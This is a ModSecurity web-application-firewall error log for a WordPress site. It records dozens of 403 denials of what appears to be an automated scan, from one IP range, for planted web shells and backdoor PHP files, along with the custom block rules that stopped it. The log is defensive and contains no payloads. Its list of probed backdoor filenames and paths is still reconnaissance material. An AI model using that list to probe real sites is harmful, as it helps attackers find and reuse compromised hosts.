[Mon May 04 16:01:46.544464 2026] [:error] [pid 3341:tid 3362] [client 193.37.32.136:25019] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/"] [unique_id "afhSak9o3_LordU0wW7yPQAAAJI"]
[Mon May 04 16:02:12.574929 2026] [:error] [pid 61044:tid 61108] [client 193.37.32.175:41525] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "afhShEw8w2zZZXI6H1trdAAAAAY"]
[Mon May 04 16:02:18.481283 2026] [:error] [pid 3341:tid 3368] [client 193.37.32.175:30487] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "afhSik9o3_LordU0wW7ybgAAAJg"]
[Mon May 04 16:02:19.161410 2026] [:error] [pid 3341:tid 3366] [client 193.37.32.135:30295] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/"] [unique_id "afhSi09o3_LordU0wW7ycQAAAJY"]
[Mon May 04 16:02:39.389109 2026] [:error] [pid 61042:tid 61063] [client 193.37.32.132:48777] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/components/"] [unique_id "afhSn0nAPPS1fjubA9Qu0QAAANE"]
[Mon May 04 16:02:44.750033 2026] [:error] [pid 61044:tid 61103] [client 193.37.32.131:50297] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "afhSpEw8w2zZZXI6H1trkgAAAAE"]
[Mon May 04 16:02:45.174738 2026] [:error] [pid 61044:tid 61116] [client 193.37.32.145:27295] [client 193.37.32.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/archives/"] [unique_id "afhSpUw8w2zZZXI6H1trlgAAAA4"]
[Mon May 04 16:02:50.632732 2026] [:error] [pid 61042:tid 61065] [client 193.37.32.136:52041] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/php-compat/"] [unique_id "afhSqknAPPS1fjubA9Qu2QAAANM"]
[Mon May 04 16:02:51.376524 2026] [:error] [pid 61150:tid 61154] [client 193.37.32.134:26625] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/"] [unique_id "afhSq-8QXWVLiwIGVpdDmgAAAUE"]
[Mon May 04 16:02:56.661144 2026] [:error] [pid 61150:tid 61172] [client 193.37.32.139:61811] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "afhSsO8QXWVLiwIGVpdDowAAAVM"]
[Mon May 04 16:02:56.939942 2026] [:error] [pid 61043:tid 61077] [client 193.37.32.162:49355] [client 193.37.32.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "afhSsJ8-LwtfURjiAbBvDAAAAEI"]
[Mon May 04 16:03:12.332915 2026] [:error] [pid 61043:tid 61075] [client 193.37.32.171:34207] [client 193.37.32.171] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/"] [unique_id "afhSwJ8-LwtfURjiAbBvGQAAAEA"]
[Mon May 04 16:03:15.338966 2026] [:error] [pid 61043:tid 61075] [client 193.37.32.171:34207] [client 193.37.32.171] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "141.11.36.43_290d1d97b37bd43716e58e9c983abba4d25d5915"): Internal error (specific information not available) [hostname "gigfragments.org"] [uri "/wp-content/upgrade/"] [unique_id "afhSwJ8-LwtfURjiAbBvGQAAAEA"]
[Mon May 04 16:03:17.677896 2026] [:error] [pid 61044:tid 61109] [client 193.37.32.149:55063] [client 193.37.32.149] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/light/"] [unique_id "afhSxUw8w2zZZXI6H1trwAAAAAc"]
[Mon May 04 16:03:22.979121 2026] [:error] [pid 61043:tid 61092] [client 193.37.32.135:63977] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/plugin/"] [unique_id "afhSyp8-LwtfURjiAbBvJAAAAFE"]
[Mon May 04 16:03:23.639291 2026] [:error] [pid 3341:tid 3345] [client 193.37.32.136:44855] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/chosen.php"] [unique_id "afhSy09o3_LordU0wW7y3gAAAIE"]
[Mon May 04 16:03:34.049176 2026] [:error] [pid 61043:tid 61086] [client 193.37.32.145:22849] [client 193.37.32.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "afhS1p8-LwtfURjiAbBvOwAAAEs"]
[Mon May 04 16:03:34.388900 2026] [:error] [pid 61044:tid 61106] [client 193.37.32.109:52511] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/enhanced-text-widget/analyst/src/403x.php"] [unique_id "afhS1kw8w2zZZXI6H1tr8AAAAAQ"]
[Mon May 04 16:03:44.654975 2026] [:error] [pid 61044:tid 61108] [client 193.37.32.135:23449] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/"] [unique_id "afhS4Ew8w2zZZXI6H1tsAQAAAAY"]
[Mon May 04 16:03:50.051030 2026] [:error] [pid 61043:tid 61081] [client 193.37.32.170:31405] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/header.php"] [unique_id "afhS5p8-LwtfURjiAbBvSQAAAEY"]
[Mon May 04 16:04:05.541552 2026] [:error] [pid 3341:tid 3367] [client 193.37.32.138:38233] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/src/Core/"] [unique_id "afhS9U9o3_LordU0wW7zVAAAAJc"]
[Mon May 04 16:04:25.846721 2026] [:error] [pid 61043:tid 61075] [client 193.37.32.159:24571] [client 193.37.32.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "afhTCZ8-LwtfURjiAbBvkwAAAEA"]
[Mon May 04 16:04:36.464077 2026] [:error] [pid 3341:tid 3360] [client 193.37.32.134:46859] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-post/"] [unique_id "afhTFE9o3_LordU0wW7zkwAAAJA"]
[Mon May 04 16:04:51.686362 2026] [:error] [pid 61042:tid 61060] [client 193.37.32.175:47021] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "afhTI0nAPPS1fjubA9QvPwAAAM4"]
[Mon May 04 16:05:07.167026 2026] [:error] [pid 61043:tid 61076] [client 193.37.32.145:48221] [client 193.37.32.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/"] [unique_id "afhTM58-LwtfURjiAbBvvAAAAEE"]
[Mon May 04 16:05:12.369503 2026] [:error] [pid 3341:tid 3349] [client 193.37.32.145:60365] [client 193.37.32.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "afhTOE9o3_LordU0wW7zsAAAAIU"]
[Mon May 04 16:05:12.670933 2026] [:error] [pid 61043:tid 61092] [client 193.37.32.171:36915] [client 193.37.32.171] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/buy.php"] [unique_id "afhTOJ8-LwtfURjiAbBvywAAAFE"]
[Mon May 04 16:05:17.946624 2026] [:error] [pid 3341:tid 3351] [client 193.37.32.136:31655] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "afhTPU9o3_LordU0wW7zsQAAAIc"]
[Mon May 04 16:05:18.182022 2026] [:error] [pid 61043:tid 61096] [client 193.37.32.131:22625] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "afhTPp8-LwtfURjiAbBv2gAAAFU"]
[Mon May 04 16:05:33.440869 2026] [:error] [pid 61042:tid 61063] [client 193.37.32.175:63049] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wp-conflg.php"] [unique_id "afhTTUnAPPS1fjubA9QvbgAAANE"]
[Mon May 04 16:05:38.746027 2026] [:error] [pid 61043:tid 61090] [client 193.37.32.132:59967] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "afhTUp8-LwtfURjiAbBwYAAAAE8"]
[Mon May 04 16:05:48.963696 2026] [:error] [pid 61042:tid 61070] [client 193.37.32.171:54595] [client 193.37.32.171] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/"] [unique_id "afhTXEnAPPS1fjubA9QvdQAAANg"]
[Mon May 04 16:05:59.540400 2026] [:error] [pid 61150:tid 61171] [client 193.37.32.139:21647] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/network/"] [unique_id "afhTZ-8QXWVLiwIGVpdEzAAAAVI"]
[Mon May 04 16:06:00.547261 2026] [:error] [pid 61043:tid 61096] [client 193.37.32.106:44893] [client 193.37.32.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "afhTaJ8-LwtfURjiAbBwjgAAAFU"]
[Mon May 04 16:06:00.966141 2026] [:error] [pid 61043:tid 61089] [client 193.37.32.155:28159] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "afhTaJ8-LwtfURjiAbBwkAAAAE4"]
[Mon May 04 16:06:31.168116 2026] [:error] [pid 61043:tid 61098] [client 193.37.32.170:51867] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/footnotes/"] [unique_id "afhTh58-LwtfURjiAbBxLQAAAFc"]
[Mon May 04 16:06:31.492935 2026] [:error] [pid 61043:tid 61091] [client 193.37.32.149:37289] [client 193.37.32.149] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/"] [unique_id "afhTh58-LwtfURjiAbBxLwAAAFA"]
[Mon May 04 16:06:36.746168 2026] [:error] [pid 61150:tid 61174] [client 193.37.32.134:50735] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/lib/"] [unique_id "afhTjO8QXWVLiwIGVpdE4QAAAVU"]
[Mon May 04 16:07:12.065060 2026] [:error] [pid 61044:tid 61106] [client 193.37.32.158:30055] [client 193.37.32.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/src/Content/Type/"] [unique_id "afhTsEw8w2zZZXI6H1ttAwAAAAQ"]
[Mon May 04 16:07:27.380435 2026] [:error] [pid 61150:tid 61157] [client 193.37.32.109:46101] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "afhTv-8QXWVLiwIGVpdFIAAAAUQ"]
[Mon May 04 16:07:32.761343 2026] [:error] [pid 61150:tid 61176] [client 193.37.32.109:29311] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/images/"] [unique_id "afhTxO8QXWVLiwIGVpdFMQAAAVc"]
[Mon May 04 16:07:48.590122 2026] [:error] [pid 61042:tid 61048] [client 193.37.32.170:41369] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comment-content/"] [unique_id "afhT1EnAPPS1fjubA9QvugAAAMI"]
[Mon May 04 16:07:48.797009 2026] [:error] [pid 3341:tid 3368] [client 193.37.32.148:32675] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/"] [unique_id "afhT1E9o3_LordU0wW70YwAAAJg"]
[Mon May 04 16:07:49.060923 2026] [:error] [pid 3341:tid 3349] [client 193.37.32.170:56881] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/worksec.php"] [unique_id "afhT1U9o3_LordU0wW70ZQAAAIU"]
[Mon May 04 16:07:59.266823 2026] [:error] [pid 61043:tid 61075] [client 193.37.32.155:40165] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfour/patterns/file.php"] [unique_id "afhT358-LwtfURjiAbBxnwAAAEA"]
[Mon May 04 16:07:59.538325 2026] [:error] [pid 61044:tid 61121] [client 193.37.32.155:56677] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/admin-header.php"] [unique_id "afhT30w8w2zZZXI6H1ttMgAAABM"]
[Mon May 04 16:08:09.765885 2026] [:error] [pid 61150:tid 61153] [client 193.37.32.170:51083] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/"] [unique_id "afhT6e8QXWVLiwIGVpdFUgAAAUA"]
[Mon May 04 16:08:20.050495 2026] [:error] [pid 3341:tid 3368] [client 193.37.32.134:61671] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/config.php"] [unique_id "afhT9E9o3_LordU0wW70hgAAAJg"]
[Mon May 04 16:08:20.281434 2026] [:error] [pid 61043:tid 61099] [client 193.37.32.149:59041] [client 193.37.32.149] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/chosen.php"] [unique_id "afhT9J8-LwtfURjiAbBxygAAAFg"]
[Mon May 04 16:08:20.489917 2026] [:error] [pid 61044:tid 61109] [client 193.37.32.173:31379] [client 193.37.32.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/admin.php"] [unique_id "afhT9Ew8w2zZZXI6H1ttVgAAAAc"]
[Mon May 04 16:08:45.884664 2026] [:error] [pid 61043:tid 61082] [client 193.37.32.173:46365] [client 193.37.32.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/customize-widgets/"] [unique_id "afhUDZ8-LwtfURjiAbByGQAAAEc"]
[Mon May 04 16:08:46.152179 2026] [:error] [pid 3341:tid 3344] [client 193.37.32.149:27965] [client 193.37.32.149] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/separator/"] [unique_id "afhUDk9o3_LordU0wW700AAAAIA"]
[Mon May 04 16:09:01.394278 2026] [:error] [pid 61042:tid 61047] [client 193.37.32.106:40921] [client 193.37.32.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/"] [unique_id "afhUHUnAPPS1fjubA9QwCgAAAME"]
[Mon May 04 16:09:16.676701 2026] [:error] [pid 61043:tid 61096] [client 193.37.32.148:27335] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "afhULJ8-LwtfURjiAbByMwAAAFU"]
[Mon May 04 16:09:21.873004 2026] [:error] [pid 61044:tid 61122] [client 193.37.32.131:44235] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/"] [unique_id "afhUMUw8w2zZZXI6H1ttngAAABQ"]
